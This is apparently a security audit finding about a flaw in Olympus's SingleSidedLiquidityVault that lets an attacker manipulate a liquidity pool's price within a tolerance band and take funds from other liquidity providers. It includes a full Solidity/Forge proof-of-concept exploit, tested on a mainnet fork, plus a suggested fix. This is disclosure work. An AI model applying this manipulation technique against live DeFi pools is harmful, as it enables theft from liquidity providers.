Bobface

high

# Liquidity pool funds can be stolen

## Summary
The [`SingleSidedLiquidityVault`](https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol) can be exploited to steal funds from the liquidity pool it deposits tokens into.

## Vulnerability Detail
`SingleSidedLiquidityVault` protects against depositing into or withdrawing from an imbalanced pool using [`_isPoolSafe()`](https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L411). This method checks that the current pool price does not deviate from the reported oracle price more than [`THRESHOLD`](https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L417-L418) before performing any action. 

This check is not enough to protect against exploitation however, and the following process will let an attacker steal funds from the liquidity pool:

1. Deposit `A` amount of paired tokens into the `SingleSidedLiquidityVault`, which will pair them with `B` OHM and deposit both as liquidity.
2. Imbalance the pool by selling `C` amount of paired tokens and receive `D` amount of OHM. 
3. Withdraw from `SingleSidedLiquidityVault` and receive `E` amount of paired tokens. Since the pool is imbalanced, the vault will receive less OHM than it minted and more paired tokens than it received at the initial deposit. **The loss in OHM is not further handled, and the profits in paired tokens are entirely sent to the attacker**.
4. Sell the remaining `D` OHM tokens from step 2 and receive `F` paired tokens.

The attacker ends up with `E + F` paired tokens which, when correct values are selected, are greater than the cost `A + C`.

With the current codebase, this issue could only be remedied by setting `THRESHOLD` to a very low value. However, that is not possible, since pool prices naturally deviate from the oracle price by some degree. A real-world value for `THRESHOLD` would be around 2%, which I confirmed with the Olympus team. The PoC demonstrates this exploit with an even lower `THRESHOLD` of 1%.

## Impact
Using the process as described above, funds from the liquidity pool the vault deposits into can be stolen, at the cost of other pool liquidity providers, including both depositors depositing through the `SingleSidedLiquidityVault` as well as from other sources such as direct liquidity providing.

## Recommendation
The system should take into consideration the percentage deviation from the oracle price on `withdraw` and deduct potential losses from the funds the withdrawer receives, possibly by buying back OHM with excess paired tokens profits. How this is exactly implemented is up to the Olympus team's discretion.


## Tool used

Manual Review

## Code Snippet
The PoC is implemented as Forge test. The comments in the code include further explanation on its structure. Paste the code into `src/test/Exploit.sol` and run it using `forge test -vv --fork-url <MAINNET RPC> -m testExploit`. You should see output similar to this:
```bash
Running 1 test for src/test/Exploit.sol:Exploit
[PASS] testExploit() (gas: 6420583)
Logs:
  Made a profit (in tokens, not wei):
  220
```

Code:
```solidity
pragma solidity 0.8.15;

import "forge-std/Test.sol";
import {OlympusERC20Token} from "../external/OlympusERC20.sol";

/*
    PoC for stealing funds from the liquidity pool

    This PoC demonstrates how the single-sided liquidity vault can be abused
    to drain funds from the liquidity pool it invests tokens into.

    The exact process of the exploit is described in the bug report, the details below
    only describe how the PoC code is structured.

    Firstly, the PoC uses a mock SSLV which only has `deposit` and `withdraw` functionality.
    This choice was made due to the complexity of setting up the full Olympus system. 
    The existing functionality is however implemented as it is in the production codebase.

    Secondly, the SSLV invests into a Uniswap V2 pool instead of a Balancer pool as 
    `WstethLiquidityVault` does. This choice again has been made due to Uniswap V2 being
    significantly easier to use for the purpose of a PoC. Additionally, Uniswap V2 functions
    economically equivalent to Balancer pools and it is also mentioned in the 
    codebase that it likely will be used in the future.

    Thirdly, in order to avoid a complicated oracle setup, OHM and the paired token are
    assumed to be priced equally, i.e. the oracle always reports 1 OHM = 1 PAIRED, 
    and this is hardcoded into the PoC at `MockSSLV.checkIsPoolSafe()`.

    The behaviour of the PoC can be adjusted using three variables defined in `Exploit`:
    - `DEPOSIT` controls the amount of paired tokens to deposit into the vault
    - `DUMP` controls the amount of paired tokens to sell into the pool after the deposit to the vault
    - `THRESHOLD` controls the maximum allowed pool price offset from the oracle on a scale of 1000 (10 = 1%) 
    Note that when you update `DUMP`, you will likely also need to update `THRESHOLD` in order to avoid the
    vault reverting on `deposit` or `withdraw` due to the pool being imbalanced.

    The default settings in the PoC demonstrate depositing 50_000 paired tokens to the vault
    and selling 1_000 paired tokens to the pool, at a `THRESHOLD` of 1%, making 220 paired tokens in profit.

    Finally, note that this test should be run on forked mainnet.
*/

// --------------------------------------------------------
// UniswapV2 interfaces
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Pool {
    function approve(address, uint256) external;

    function getReserves()
        external
        view
        returns (
            uint112 _reserve0,
            uint112 _reserve1,
            uint32 _blockTimestampLast
        );
}

interface IUniswapV2Router {
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);
}

// --------------------------------------------------------
// Main PoC
contract Exploit is Test {
    MockSSLV sslv;

    OlympusERC20Token ohm;
    OlympusERC20Token pairToken;

    IUniswapV2Pool pool;
    IUniswapV2Factory factory =
        IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
    IUniswapV2Router router =
        IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    uint256 DEPOSIT = 50_000 ether;
    uint256 DUMP = 450 ether;
    uint256 THRESHOLD = 10;

    function main() internal {
        // Main Poc. Executes after setup is complete.

        // Assert that we do not have any tokens left from
        // the setup process which would yield wrong results.
        assert(ohm.balanceOf(address(this)) == 0);
        assert(pairToken.balanceOf(address(this)) == 0);

        // Deposit into the SSLV
        deal(address(pairToken), address(this), DEPOSIT);
        uint256 lp = sslv.deposit(DEPOSIT);

        // Manipulate the pool price by selling the paired token
        deal(address(pairToken), address(this), DUMP);
        address[] memory path = new address[](2);
        path[0] = address(pairToken);
        path[1] = address(ohm);
        router.swapExactTokensForTokens(
            DUMP,
            0,
            path,
            address(this),
            block.timestamp + 1
        );

        // Withdraw from the SSLV.
        // Checks that the pool is not imbalanced.
        // Since we did not imbalance it too much, this check passes.
        sslv.withdraw(lp);

        // Sell the remaining OHM we still have left from the first swap.
        path[0] = address(ohm);
        path[1] = address(pairToken);
        router.swapExactTokensForTokens(
            ohm.balanceOf(address(this)),
            0,
            path,
            address(this),
            block.timestamp + 1
        );

        // Calculate profit or loss
        uint256 finalBalance = pairToken.balanceOf(address(this));
        if (DEPOSIT + DUMP < finalBalance) {
            console.log("Made a profit (in tokens, not wei):");
            console.log((finalBalance - DEPOSIT - DUMP) / 1 ether);
        } else {
            console.log("Made a loss (in tokens, not wei):");
            console.log((DEPOSIT + DUMP - finalBalance) / 1 ether);
        }
    }

    function testExploit() external {
        // ENTRY POINT
        // Sets up the environment

        // Create OHM and the pair token
        ohm = new OlympusERC20Token(address(this));
        pairToken = new OlympusERC20Token(address(this));

        // Approve the router
        ohm.approve(address(router), type(uint256).max);
        pairToken.approve(address(router), type(uint256).max);

        // Create the Uniswap pool
        pool = IUniswapV2Pool(
            factory.createPair(address(ohm), address(pairToken))
        );

        // Bootstrap liquidity with 50_000 tokens on both sides.
        // This is assumed to be the existing pool state before the exploit is executed.
        deal(address(ohm), address(this), 50_000 ether);
        deal(address(pairToken), address(this), 50_000 ether);
        router.addLiquidity(
            address(ohm),
            address(pairToken),
            50_000 ether,
            50_000 ether,
            0,
            0,
            address(this),
            block.timestamp + 1
        );

        // Create the SSLV
        sslv = new MockSSLV(ohm, pairToken, pool, THRESHOLD);

        // Mint a large amount of OHM to the SSLV.
        // Simulates borrowing OHM when a user deposits.
        deal(address(ohm), address(sslv), 100_000_000 ether);

        // Approve the paired token to be used with the SSLV
        pairToken.approve(address(sslv), type(uint256).max);

        // Run main PoC
        main();
    }
}

// --------------------------------------------------------
/* 
    Mock SSLV

    This contract implements a simplified SingleSidedLiquidityPool
    that deposits funds on Uniswap V2. 
*/
contract MockSSLV {
    OlympusERC20Token ohm;
    OlympusERC20Token pairToken;
    IUniswapV2Pool pool;

    IUniswapV2Router router =
        IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    uint256 THRESHOLD;
    uint256 PRECISION = 1000;

    constructor(
        OlympusERC20Token _ohm,
        OlympusERC20Token _pairToken,
        IUniswapV2Pool _pool,
        uint256 _threshold
    ) {
        ohm = _ohm;
        pairToken = _pairToken;
        pool = _pool;
        THRESHOLD = _threshold;

        ohm.approve(address(router), type(uint256).max);
        pool.approve(address(router), type(uint256).max);
        pairToken.approve(address(router), type(uint256).max);
    }

    function deposit(uint256 amount) external returns (uint256) {
        // The real contract would mint OHM here, the PoC simply
        // supplies this contract with enough OHM after deployment.
        uint256 ohmToBorrow = amount;

        // Check that the pool is not imbalanced
        checkIsPoolSafe();

        // Draw funds from the depositor
        pairToken.transferFrom(msg.sender, address(this), amount);

        // Add the liquidity to the pool
        (, , uint256 received) = router.addLiquidity(
            address(ohm),
            address(pairToken),
            amount,
            amount,
            0,
            0,
            address(this),
            block.timestamp + 1
        );

        // Since we only have one "user" we do not track the per-user deposits here.

        // Return the received amount
        return received;
    }

    function withdraw(uint256 lpAmount) external {
        // Check that the pool is safe
        checkIsPoolSafe();

        // Remove liquidity from the pool
        uint256 before = pairToken.balanceOf(address(this));
        router.removeLiquidity(
            address(ohm),
            address(pairToken),
            lpAmount,
            0,
            0,
            address(this),
            block.timestamp + 1
        );

        // Transfer the received paired tokens to the caller
        uint256 received = pairToken.balanceOf(address(this)) - before;
        pairToken.transfer(msg.sender, received);
    }

    function checkIsPoolSafe() internal view {
        (uint112 reserve0, uint112 reserve1, ) = pool.getReserves();

        uint256 oraclePrice = 1 ether;
        uint256 poolPrice = (uint256(reserve0) * 1 ether) / uint256(reserve1);

        uint256 lowerBound = (oraclePrice * (PRECISION - THRESHOLD)) /
            PRECISION;
        uint256 upperBound = (oraclePrice * (PRECISION + THRESHOLD)) /
            PRECISION;

        require(
            poolPrice >= lowerBound && poolPrice <= upperBound,
            "Pool imbalanced"
        );
    }
}

```



